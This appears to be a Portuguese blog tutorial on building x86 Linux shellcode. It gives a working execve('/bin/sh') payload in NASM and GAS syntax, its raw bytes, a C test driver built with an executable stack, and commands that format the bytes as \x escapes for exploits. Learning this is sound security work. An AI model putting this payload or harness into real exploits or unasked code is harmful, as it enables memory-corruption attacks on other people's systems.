==================
== section .bss ==
==================

blog started by symbol

Montando e extraindo shellcodes em Linux

shellcode exploit linux ELF x86

A manipulação de shellcodes é uma atividade essencial na exploração de vulnerabilidades de corrupção de memória. Nesta postagem, veremos como realizar a montagem de shellcodes em ambientes Linux, bem como sua extração a partir de arquivos executáveis.

Instalando as ferramentas necessárias

Antes de começar, vamos instalar as ferramentas necessárias. Em sistemas Debian ou derivados (Kali, Ubuntu, etc), elas estão disponíveis no repositório oficial da distribuição:

sudo apt install build-essential nasm

Criando um shellcode de exemplo

Na arquitetura x86 podemos encontrar o código fonte de shellcodes tanto na sintaxe Intel quanto na sintaxe AT&T. Para demonstrar como lidar com cada situação, vamos criar um shellcode de exemplo que executa um shell POSIX (/bin/sh) em Linux/x86.

Abra seu $EDITOR favorito e salve a seguinte listagem como nasm_shellcode.asm:

BITS 32
jmp short	mycall

shellcode:
    pop        esi
    xor        eax, eax
    mov byte   [esi+7], al

    mov dword  [esi+8],  esi
    mov dword  [esi+12], eax
    mov        al,  0xb
    lea        ebx, [esi]
    lea        ecx, [esi+8]
    lea        edx, [esi+12]
    int        0x80

mycall:
	call shellcode
	db "/bin/sh"

A próxima listagem deve ser salva como gas_shellcode.s:

.code32

jmp mycall

shellcode:
    pop		%esi
    xor		%eax, %eax
    movb 	%al, 7(%esi)

    movl	%esi, 8(%esi)
    movl	%eax, 12(%esi)
    mov		$0x0b, %al
    lea		(%esi), %ebx
    lea		8(%esi), %ecx
    lea		12(%esi), %edx
    int		$0x80

mycall:
	call shellcode
	.ascii "/bin/sh"

Montando o shellcode

Para montar o shellcode, temos duas opções: montá-lo como um arquivo objeto ELF e extrair o shellcode dele, ou montá-lo diretamente em formato raw.

Montando o shellcode usando GAS

Se temos um shellcode na sintaxe AT&T, precisaremos utilizar o GAS para montá-lo. Infelizmente o GAS não suporta montar diretamente para o formato raw. Desse modo, precisaremos realizar dois passos.

Primeiro, montaremos o shellcode como um arquivo objeto ELF:

as gas_shellcode.s -o gas_shellcode.o

Podemos verificar o resultado da montagem com o comando file:

$ file gas_shellcode.o
gas_shellcode.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped

Logo, utilizaremos o linker da suíte GCC para copiar a seção .text para um arquivo em formato raw:

$ ld -m elf_i386 -Ttext 0 --oformat binary gas_shellcode.o -o gas_shellcode.bin
ld: warning: cannot find entry symbol _start; defaulting to 0000000000000000

Não se preocupe com a advertência sobre o linker não encontrar o símbolo _start. Este símbolo somente seria necessário em um arquivo executável ELF, o que não é nosso objetivo.

Usando NASM

Caso o shellcode esteja na sintaxe Intel, o procedimento fica mais fácil, uma vez que o NASM suporta a montagem direta em formato raw:

nasm -f bin nasm_shellcode.asm

Podemos confirmar que o resultado é o mesmo que o obtido com o processo realizado com o GAS:

diff nasm_shellcode gas_shellcode.bin

Se por algum motivo for necessária a montagem em um arquivo objeto ELF, basta mudar o formato utilizado:

nasm -f elf nasm_shellcode.asm

Extraindo o shellcode de arquivos objeto ELF

Em algumas situações não será possível obter um arquivo binário raw. Um exemplo é quando tentamos codificar um shellcode em C. Neste caso, o mais fácil é gerar um arquivo objeto ELF e extrair sua seção .text para um arquivo raw.

Usando objcopy é fácil extrair o shellcode a partir do ELF:

objcopy -O binary gas_shellcode.o gas_shellcode.bin

Testando o shellcode

Com o auxílio de um pequeno programa em C, podemos testar o funcionamento dos shellcodes antes de parear-los com nossos exploits. Para isso, vamos criar o esqueleto de nosso programa.

Convertendo o shellcode para uma variável

O utilitário xxd no Linux possui a opção -i que gera um trecho de código em C com uma variável do tipo unsigned char[] contendo todos os bytes do shellcode:

$ xxd -i gas_shellcode.bin
unsigned char gas_shellcode_bin[] = {
  0xeb, 0x18, 0x5e, 0x31, 0xc0, 0x88, 0x46, 0x07, 0x89, 0x76, 0x08, 0x89,
  0x46, 0x0c, 0xb0, 0x0b, 0x8d, 0x1e, 0x8d, 0x4e, 0x08, 0x8d, 0x56, 0x0c,
  0xcd, 0x80, 0xe8, 0xe3, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f,
  0x73, 0x68
};
unsigned int gas_shellcode_bin_len = 38;

Copiaremos esse trecho de códio para um esqueleto de um programa de teste de shellcode feito em C. Podemos usar o utilitário xclip para evitar erros na hora da cópia:

$ xxd -i gas_shellcode.bin | xclip -sel c

Criando o esqueleto do programa de teste

Salve a listagem abaixo como shellcode_driver.c:

int main()
{
	/* insira a saida do xxd -i abaixo */
	unsigned char gas_shellcode_bin[] = {
	  0xeb, 0x18, 0x5e, 0x31, 0xc0, 0x88, 0x46, 0x07, 0x89, 0x76, 0x08, 0x89,
	  0x46, 0x0c, 0xb0, 0x0b, 0x8d, 0x1e, 0x8d, 0x4e, 0x08, 0x8d, 0x56, 0x0c,
	  0xcd, 0x80, 0xe8, 0xe3, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f,
	  0x73, 0x68
	};
	unsigned int gas_shellcode_bin_len = 38;

	/* substitua a variavel pelo nome correto */
        int (*fp)() = (int (*)()) gas_shellcode_bin;
        fp();
        return 0;
}

Depois, compile o programa. Para evitar falhas de segmentação, é necessário permitir a execução de código na pilha:

$ gcc -m32 -z execstack shellcode_driver.c -o shellcode_driver

Em seguida, execute o programa de teste para verificar se o shellcode está funcionando:

$ echo $0
bash
$ ./shellcode_driver
$ echo $0
/bin/sh
$ exit

Extraindo os caracteres do shellcode para uso em exploits

Depois de realizados os testes, um dos últimos passos que precisamos realizar é a extração dos bytes do shellcode em um formato apropriado para uso em nossos exploits.

Normalmente, o formato mais utilizado é o formato derivado do C, escapando os caracteres com \x seguido do seu valor em hexadecimal. Esse formato pode ser usado em exploits em C, Python, etc.

Novamente, o modo que vamos realizar isso vai depender se estamos extraindo o shellcode a partir de um binário raw ou de um arquivo ELF.

A partir de um arquivo raw

Para extrair os caracteres no formato apropriado do shellcode a partir de um arquivo raw, podemos utilizar hexdump:

hexdump -v -e '"\\""x" 1/1 "%02x" ""' gas_shellcode.bin
\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

A partir de um arquivo ELF

Já vimos que devemos evitar trabalhar sem necessidade com arquivos no formato ELF quando lidamos com shellcodes. O ideal é sempre convertê-los para o formato raw e realizar as operações necessárias.

Se ainda assim, você insistir em extrair os caracteres do shellcode a partir do arquivo ELF, é possível fazer alguns malabarismos com a saída do objdump para obtê-los.

Primeiro vejamos a saída do comando:

$ objdump -d gas_shellcode.o

gas_shellcode.o:     file format elf32-i386


Disassembly of section .text:

00000000 <shellcode-0x2>:
   0:	eb 18                	jmp    1a <mycall>

00000002 <shellcode>:
   2:	5e                   	pop    %esi
   3:	31 c0                	xor    %eax,%eax
   5:	88 46 07             	mov    %al,0x7(%esi)
   8:	89 76 08             	mov    %esi,0x8(%esi)
   b:	89 46 0c             	mov    %eax,0xc(%esi)
   e:	b0 0b                	mov    $0xb,%al
  10:	8d 1e                	lea    (%esi),%ebx
  12:	8d 4e 08             	lea    0x8(%esi),%ecx
  15:	8d 56 0c             	lea    0xc(%esi),%edx
  18:	cd 80                	int    $0x80

0000001a <mycall>:
  1a:	e8 e3 ff ff ff       	call   2 <shellcode>
  1f:	2f                   	das    
  20:	62 69 6e             	bound  %ebp,0x6e(%ecx)
  23:	2f                   	das    
  24:	73 68                	jae    8e <mycall+0x74>

Observe que:

  • Todas as linhas que possuem instruções (opcodes) começam com espaços;
  • Os campos são separados por TABs (pode ser verificado com hexdump);
  • Os bytes que compõe cada instrução estão no campo 2 de cada linha.

Com essas observações, podemos utilizar um laço for em bash para obter os caracteres a partir da saída do objdump:

for byte in $(objdump -d gas_shellcode.o | grep "^ " | cut -f2); do echo -n '\x'"$byte"; done

A saída do comando é identica à gerada a partir do arquivo raw equivalente.

OBSERVAÇÃO: é possível fazer o disassembly de binários raw com objdump -D -Mintel -b binary -m i386 <arquivo>. Use -m x86-64 para shellcodes em AMD-64/Intel EM64T/Intel 64 (pode ser complementado por -m amd64 ou -m intel64).